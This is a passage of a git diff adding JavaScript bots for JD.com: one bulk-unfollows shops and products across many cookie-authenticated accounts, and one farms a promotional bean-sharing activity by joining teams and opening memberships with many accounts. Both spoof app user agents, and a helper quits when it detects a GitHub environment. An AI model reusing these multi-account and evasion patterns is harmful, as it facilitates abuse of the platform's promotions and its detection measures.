this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_unsubscribe_xh.js b/jd_unsubscribe_xh.js new file mode 100644 index 0000000..ceab670 --- /dev/null +++ b/jd_unsubscribe_xh.js @@ -0,0 +1,799 @@ +/* + * @Author: X1a0He + * @LastEditors: X1a0He + * @Description: 批量取关京东店铺和商品 + * @Fixed: 不再支持Qx,仅支持Node.js + */ +const $ = new Env('批量取关店铺和商品'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if($.isNode()){ + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if(process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let args_xh = { + /* + * 跳过某个指定账号,默认为全部账号清空 + * 填写规则:例如当前Cookie1为pt_key=key; pt_pin=pin1;则环境变量填写pin1即可,此时pin1的购物车将不会被清空 + * 若有更多,则按照pin1@pin2@pin3进行填写 + * 环境变量名称:XH_UNSUB_EXCEPT + */ + except: process.env.XH_UNSUB_EXCEPT && process.env.XH_UNSUB_EXCEPT.split('@') || [], + /* + * 是否执行取消关注,默认true + * 可通过环境变量控制:JD_UNSUB + * */ + isRun: process.env.JD_UNSUB === 'true' || true, + /* + * 执行完毕是否进行通知,默认false + * 可用环境变量控制:JD_UNSUB_NOTIFY + * */ + isNotify: process.env.JD_UNSUB_NOTIFY === 'true' || false, + /* + * 每次获取已关注的商品数 + * 可设置环境变量:JD_UNSUB_GPAGESIZE,默认为20,不建议超过20 + * */ + goodPageSize: process.env.JD_UNSUB_GPAGESIZE * 1 || 20, + /* + * 每次获取已关注的店铺数 + * 可设置环境变量:JD_UNSUB_SPAGESIZE,默认为20,不建议超过20 + * */ + shopPageSize: process.env.JD_UNSUB_SPAGESIZE * 1 || 20, + /* + * 商品类过滤关键词,只要商品名内包含关键词,则不会被取消关注 + * 可设置环境变量:JD_UNSUB_GKEYWORDS,用@分隔 + * */ + goodsKeyWords: process.env.JD_UNSUB_GKEYWORDS && process.env.JD_UNSUB_GKEYWORDS.split('@') || [], + /* + * 店铺类过滤关键词,只要店铺名内包含关键词,则不会被取消关注 + * 可设置环境变量:JD_UNSUB_SKEYWORDS,用@分隔 + * */ + shopKeyWords: process.env.JD_UNSUB_SKEYWORDS && process.env.JD_UNSUB_SKEYWORDS.split('@') || [], + /* + * 间隔,防止提示操作频繁,单位毫秒(1秒 = 1000毫秒) + * 可用环境变量控制:JD_UNSUB_INTERVAL,默认为3000毫秒 + * */ + unSubscribeInterval: process.env.JD_UNSUB_INTERVAL * 1 || 1000, + /* + * 是否打印日志 + * 可用环境变量控制:JD_UNSUB_PLOG,默认为true + * */ + printLog: process.env.JD_UNSUB_PLOG === 'true' || true, + /* + * 失败次数,当取关商品或店铺时,如果连续 x 次失败,则结束本次取关,防止死循环 + * 可用环境变量控制:JD_UNSUB_FAILTIMES,默认为3次 + * */ + failTimes: process.env.JD_UNSUB_FAILTIMES || 3 +} +!(async() => { + console.log('X1a0He留:运行前请看好脚本内的注释,日志已经很清楚了,有问题带着日志来问') + if(args_xh.isRun){ + if(!cookiesArr[0]){ + $.msg('【京东账号一】取关京东店铺商品失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + } + await requireConfig(); + for(let i = 0; i < cookiesArr.length; i++){ + if(cookiesArr[i]){ + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if(args_xh.except.includes($.UserName)){ + console.log(`跳过账号:${$.nickName || $.UserName}`) + continue + } + if(!$.isLogin){ + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if($.isNode()){ + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.shopsKeyWordsNum = 0; + $.goodsKeyWordsNum = 0; + $.unsubscribeGoodsNum = 0; + $.unsubscribeShopsNum = 0; + $.goodsTotalNum = 0 //记录当前总共关注了多少商品 + $.shopsTotalNum = 0; //记录当前总共关注了多少店铺 + $.commIdList = ``; + $.shopIdList = ``; + $.endGoods = $.endShops = false; + $.failTimes = 0; + // console.log(`=====京东账号${$.index} ${$.nickName || $.UserName}内部变量=====`) + // console.log(`$.unsubscribeGoodsNum: ${$.unsubscribeGoodsNum}`) + // console.log(`$.unsubscribeShopsNum: ${$.unsubscribeShopsNum}`) + // console.log(`$.goodsTotalNum: ${$.goodsTotalNum}`) + // console.log(`$.shopsTotalNum: ${$.shopsTotalNum}`) + // console.log(`$.commIdList: ${$.commIdList}`) + // console.log(`$.shopIdList: ${$.shopIdList}`) + // console.log(`$.failTimes: ${$.failTimes}`) + // console.log(`================`) + await favCommQueryFilter(); //获取商品并过滤 + await $.wait(args_xh.unSubscribeInterval) + if(!$.endGoods && parseInt($.goodsTotalNum) !== parseInt($.goodsKeyWordsNum)) await favCommBatchDel();//取关商品 + else console.log("不执行取消收藏商品\n") + await $.wait(args_xh.unSubscribeInterval) + await queryShopFavList(); //获取店铺并过滤 + await $.wait(args_xh.unSubscribeInterval) + if(!$.endShops && parseInt($.shopsTotalNum) !== parseInt($.shopsKeyWordsNum)) await batchunfollow(); //取关店铺 + else console.log("不执行取消收藏店铺\n") + do { + //如果商品总数和店铺总数都为0则已清空,跳出循环 + if(parseInt($.goodsTotalNum) === 0 && parseInt($.shopsTotalNum) === 0) break; + else { + //如果商品总数或店铺总数有一个不为0的话,先判断是哪个不为0 + if(parseInt($.goodsTotalNum) !== 0){ + if(parseInt($.goodsTotalNum) === parseInt($.goodsKeyWordsNum)) break; + else { + $.commIdList = `` + await favCommQueryFilter(); //获取商品并过滤 + await $.wait(args_xh.unSubscribeInterval) + if(!$.endGoods && parseInt($.goodsTotalNum) !== parseInt($.goodsKeyWordsNum)) await favCommBatchDel(); //取关商品 + else console.log("不执行取消收藏商品\n") + } + } else if(parseInt($.shopsTotalNum) !== 0){ + if(parseInt($.shopsTotalNum) === parseInt($.shopsKeyWordsNum)) break; + else { + $.shopIdList = `` + await queryShopFavList(); //获取店铺并过滤 + await $.wait(args_xh.unSubscribeInterval) + if(!$.endShops && parseInt($.shopsTotalNum) !== parseInt($.shopsKeyWordsNum)) await batchunfollow(); //取关店铺 + else console.log("不执行取消收藏店铺\n") + } + } + } + if($.failTimes >= args_xh.failTimes){ + console.log('失败次数到达设定值,触发防死循环机制,该帐号已跳过'); + break; + } + } while(true) + await showMsg_xh(); + } + } + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}) + +function requireConfig(){ + return new Promise(resolve => { + if($.isNode() && process.env.JD_UNSUB){ + console.log('=====环境变量配置如下=====') + console.log(`except: ${typeof args_xh.except}, ${args_xh.except}`) + console.log(`isNotify: ${typeof args_xh.isNotify}, ${args_xh.isNotify}`) + console.log(`goodPageSize: ${typeof args_xh.goodPageSize}, ${args_xh.goodPageSize}`) + console.log(`shopPageSize: ${typeof args_xh.shopPageSize}, ${args_xh.shopPageSize}`) + console.log(`goodsKeyWords: ${typeof args_xh.goodsKeyWords}, ${args_xh.goodsKeyWords}`) + console.log(`shopKeyWords: ${typeof args_xh.shopKeyWords}, ${args_xh.shopKeyWords}`) + console.log(`unSubscribeInterval: ${typeof args_xh.unSubscribeInterval}, ${args_xh.unSubscribeInterval}`) + console.log(`printLog: ${typeof args_xh.printLog}, ${args_xh.printLog}`) + console.log(`failTimes: ${typeof args_xh.failTimes}, ${args_xh.failTimes}`) + console.log('=======================') + } + resolve() + }) +} + +function showMsg_xh(){ + if(args_xh.isNotify){ + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【还剩关注店铺】${$.shopsTotalNum}个\n【还剩关注商品】${$.goodsTotalNum}个`); + } else { + $.log(`【京东账号${$.index}】${$.nickName}\n【还剩关注店铺】${$.shopsTotalNum}个\n【还剩关注商品】${$.goodsTotalNum}个`); + } +} + +function getSubstr(str, leftStr, rightStr){ + let left = str.indexOf(leftStr); + let right = str.indexOf(rightStr, left); + if(left < 0 || right < left) return ''; + return str.substring(left + leftStr.length, right); +} + +function favCommQueryFilter(){ + return new Promise((resolve) => { + console.log('正在获取已关注的商品...') + const option = { + url: `https://wq.jd.com/fav/comm/FavCommQueryFilter?cp=1&pageSize=${args_xh.goodPageSize}&category=0&promote=0&cutPrice=0&coupon=0&stock=0&sceneval=2`, + headers: { + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://wqs.jd.com/" + }, + } + $.get(option, async(err, resp, data) => { + try{ + if(data.indexOf("Authorization") !== -1){ + console.log("获取数据失败,401 Authorization Required,可能是User-Agent的问题") + return; + } + data = JSON.parse(getSubstr(data, "try{(", ");}catch(e){}")); + if(data.iRet === '0'){ + $.goodsTotalNum = parseInt(data.totalNum); + console.log(`当前已关注商品:${$.goodsTotalNum}个`) + $.goodsKeyWordsNum = 0; + for(let item of data.data){ + if(args_xh.goodsKeyWords.some(keyword => item.commTitle.includes(keyword))){ + args_xh.printLog ? console.log(`${item.commTitle} `) : '' + args_xh.printLog ? console.log('商品被过滤,含有关键词\n') : '' + $.goodsKeyWordsNum += 1; + } else { + $.commIdList += item.commId + ","; + $.unsubscribeGoodsNum++; + } + } + } else { + $.endGoods = true; + console.log("无商品可取消收藏\n"); + } + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }); + }) +} + +function favCommBatchDel(){ + return new Promise(resolve => { + console.log("正在取消收藏商品...") + const option = { + url: `https://wq.jd.com/fav/comm/FavCommBatchDel?commId=${$.commIdList}&sceneval=2&g_login_type=1`, + headers: { + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://wqs.jd.com/" + }, + } + $.get(option, (err, resp, data) => { + try{ + if(data.indexOf("Authorization") !== -1){ + console.log("获取数据失败,401 Authorization Required,可能是User-Agent的问题") + return; + } + data = JSON.parse(data); + if(data.iRet === "0" && data.errMsg === "success"){ + console.log(`成功取消收藏商品:${$.unsubscribeGoodsNum}个\n`) + $.failTimes = 0; + } else { + console.log(`批量取消收藏商品失败,失败次数:${++$.failTimes}\n`, data) + } + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }); + }) +} + +function queryShopFavList(){ + return new Promise((resolve) => { + console.log("正在获取已关注的店铺...") + const option = { + url: `https://wq.jd.com/fav/shop/QueryShopFavList?cp=1&pageSize=${args_xh.shopPageSize}&sceneval=2&g_login_type=1&callback=jsonpCBKA`, + headers: { + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://wqs.jd.com/" + }, + } + $.get(option, (err, resp, data) => { + try{ + if(data.indexOf("Authorization") !== -1){ + console.log("获取数据失败,401 Authorization Required,可能是User-Agent的问题") + return; + } + data = JSON.parse(getSubstr(data, "try{jsonpCBKA(", ");}catch(e){}")); + if(data.iRet === '0'){ + $.shopsTotalNum = parseInt(data.totalNum); + console.log(`当前已关注店铺:${$.shopsTotalNum}个`) + if(data.data.length > 0){ + $.shopsKeyWordsNum = 0; + for(let item of data.data){ + if(args_xh.shopKeyWords.some(keyword => item.shopName.includes(keyword))){ + args_xh.printLog ? console.log('店铺被过滤,含有关键词') : '' + args_xh.printLog ? console.log(`${item.shopName}\n`) : '' + $.shopsKeyWordsNum += 1; + } else { + $.shopIdList += item.shopId + ","; + $.unsubscribeShopsNum++; + } + } + } else { + $.endShops = true; + console.log("无店铺可取消关注\n"); + } + } else console.log(`获取已关注店铺失败:${JSON.stringify(data)}`) + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }); + }) +} + +function batchunfollow(){ + return new Promise(resolve => { + console.log('正在执行批量取消关注店铺...') + const option = { + url: `https://wq.jd.com/fav/shop/batchunfollow?shopId=${$.shopIdList}&sceneval=2&g_login_type=1`, + headers: { + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://wqs.jd.com/" + }, + } + $.get(option, (err, resp, data) => { + try{ + if(data.indexOf("Authorization") !== -1){ + console.log("获取数据失败,401 Authorization Required,可能是User-Agent的问题") + return; + } + data = JSON.parse(data); + if(data.iRet === "0"){ + console.log(`已成功取消关注店铺:${$.unsubscribeShopsNum}个\n`) + $.failTimes = 0; + } else { + console.log(`批量取消关注店铺失败,失败次数:${++$.failTimes}\n`) + } + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }); + }) +} + +function TotalBean(){ + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try{ + if(err){ + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if(data){ + data = JSON.parse(data); + if(data['retcode'] === 13){ + $.isLogin = false; //cookie过期 + return + } + if(data['retcode'] === 0){ + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch(e){ + $.logErr(e, resp) + } finally{ + resolve(); + } + }) + }) +} + +function jsonParse(str){ + if(typeof str == "string"){ + try{ + return JSON.parse(str); + } catch(e){ + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t, e){ + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s{ + constructor(t){ + this.env = t + } + + send(t, e = "GET"){ + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t){ + return this.send.call(this.env, t) + } + + post(t){ + return this.send.call(this.env, t, "POST") + } + } + + return new class{ + constructor(t, e){ + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + + isNode(){ + return "undefined" != typeof module && !!module.exports + } + + isQuanX(){ + return "undefined" != typeof $task + } + + isSurge(){ + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon(){ + return "undefined" != typeof $loon + } + + toObj(t, e = null){ + try{ + return JSON.parse(t) + } catch{ + return e + } + } + + toStr(t, e = null){ + try{ + return JSON.stringify(t) + } catch{ + return e + } + } + + getjson(t, e){ + let s = e; + const i = this.getdata(t); + if(i) try{ + s = JSON.parse(this.getdata(t)) + } catch{} + return s + } + + setjson(t, e){ + try{ + return this.setdata(JSON.stringify(t), e) + } catch{ + return !1 + } + } + + getScript(t){ + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + + runScript(t, e){ + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata(){ + if(!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if(!s && !i) return {}; + { + const i = s ? t : e; + try{ + return JSON.parse(this.fs.readFileSync(i)) + } catch(t){ + return {} + } + } + } + } + + writedata(){ + if(this.isNode()){ + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s){ + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for(const t of i) + if(r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s){ + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t){ + let e = this.getval(t); + if(/^@/.test(t)){ + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if(r) try{ + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch(t){ + e = "" + } + } + return e + } + + setdata(t, e){ + let s = !1; + if(/^@/.test(e)){ + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try{ + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch(e){ + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t){ + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e){ + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t){ + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => {})){ + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try{ + if(t.headers["set-cookie"]){ + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch(t){ + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => {})){ + if(t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if(this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if(this.isNode()){ + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null){ + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for(let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r){ + const o = t => { + if(!t) return t; + if("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if("object" == typeof t){ + if(this.isLoon()){ + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if(this.isQuanX()){ + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if(this.isSurge()){ + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if(this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog){ + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t){ + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e){ + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t){ + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}){ + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/jd_wdz.js b/jd_wdz.js new file mode 100644 index 0000000..c9bb880 --- /dev/null +++ b/jd_wdz.js @@ -0,0 +1,739 @@ +/** + * 微定制瓜分京豆 + * TG: https://t.me/HarbourToulu + * @param activityId 活动id + * @param activityUrl 活动url + * @param pin 用户名 + * @param num 跑多少ck + * @param againUserIndex 需要重新跑的ck + * @returns {Promise} +1 1 1 1 * jd_wdz.js + */ + +function openCardActivity(activityId, activityUrl, pin, num, againUserIndex) { + return new Promise((resolve) => { + const prefix = activityUrl.includes("cjhydz") ? "cjhydz" : "lzkjdz"; + const $ = new Env("微定制瓜分通用"); + const notify = $.isNode() ? require("./sendNotify") : ""; + const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; + let cookiesArr = [], + cookie = "", + message = "", + messageTitle = "", + activityCookie = ""; + + if (process.env.jd_wdz_activityId) + activityId = process.env.jd_wdz_activityId; + if (process.env.jd_wdz_activityUrl) + activityUrl = process.env.jd_wdz_activityUrl; + Object.keys(jdCookieNode).forEach((item) => + cookiesArr.push(jdCookieNode[item]) + ); + + if(pin) { + const idx = cookiesArr.findIndex((v) => v.includes(pin)); + const currentCookie = cookiesArr.splice(idx, 1); + cookiesArr = [...currentCookie, ...cookiesArr.slice(1, num)]; + } + + + if (againUserIndex.length > 0) { + cookiesArr = cookiesArr.filter((v, idx) => againUserIndex.includes(idx)); + } + + !(async () => { + if (!activityId) { + $.msg($.name, "", "活动id不存在,请设置变量jd_zdjr_activityId"); + $.done(); + return; + } + if (!cookiesArr[0]) { + $.msg( + $.name, + "【提示】请先获取京东账号一cookie\x0a直接使用NobyDa的京东签到获取", + "https://bean.m.jd.com/", + { + "open-url": "https://bean.m.jd.com/", + } + ); + return; + } + $.memberCount = 0; + messageTitle += "活动id:\n" + activityId + "\n"; + $.toactivity = []; + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent( + cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1] + ); + $.index = i + 1; + $.isLogin = true; + $.nickName = ""; + + console.log( + "\n******开始【京东账号" + + $.index + + "】" + + ($.nickName || $.UserName) + + "*********\n" + ); + + await jrzd(); + if ($.end) { + break; + } + if (!$.toactivity || $.maxTeam) { + break; + } + } + } + if (againUserIndex.length > 0) { + console.log( + `${againUserIndex.join("、")} 用户需要重新跑!即将开始重新跑~` + ); + await openCardActivity( + activityId, + activityUrl, + pin, + num, + againUserIndex + ); + } + resolve(); + })() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); + + async function jrzd() { + getUA(); + $.sid = ""; + $.userId = "599119"; + $.Token = ""; + $.Pin = ""; + $.hisPin = ""; + $.card = []; + + await getCk(); + await $.wait(1000); + await getToken(); + await $.wait(1000); + if ($.Token == "") { + console.log("获取[token]失败!"); + return; + } + await getSimpleActInfoVo(); + await $.wait(1000); + if ($.userId) { + await $.wait(1000); + if ($.Token) await getPin(); + console.log("pin:" + $.Pin); + + await $.wait(1000); + await accessLog(); + if (prefix !== "cjhydz") { + await $.wait(1000); + await getActMemberInfo(); + } + await $.wait(1000); + await getUserInfo(); + await $.wait(1000); + await getOpenCardAllStatuesNew(); + + if ($.index === 1) { + $.his = $.Pin; + $.hisNickName = $.nickName; + $.hisInviterImg = $.attrTouXiang; + } + + await $.wait(1000); + await joinTeam(); + + if ($.card.length > 0) { + let i = 0; + do { + await joinShop($.card[i]); + await $.wait(1000); + i++; + } while (i < $.card.length); + } + await $.wait(1000); + await getOpenCardAllStatuesNew(); + if ($.maxTeam) { + console.log("队伍已满员"); + return; + } + } else { + console.log("【京东账号" + $.index + "】 未能获取活动信息"); + message += "【京东账号" + $.index + "】 未能获取活动信息\n"; + } + } + + function getUA() { + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString( + 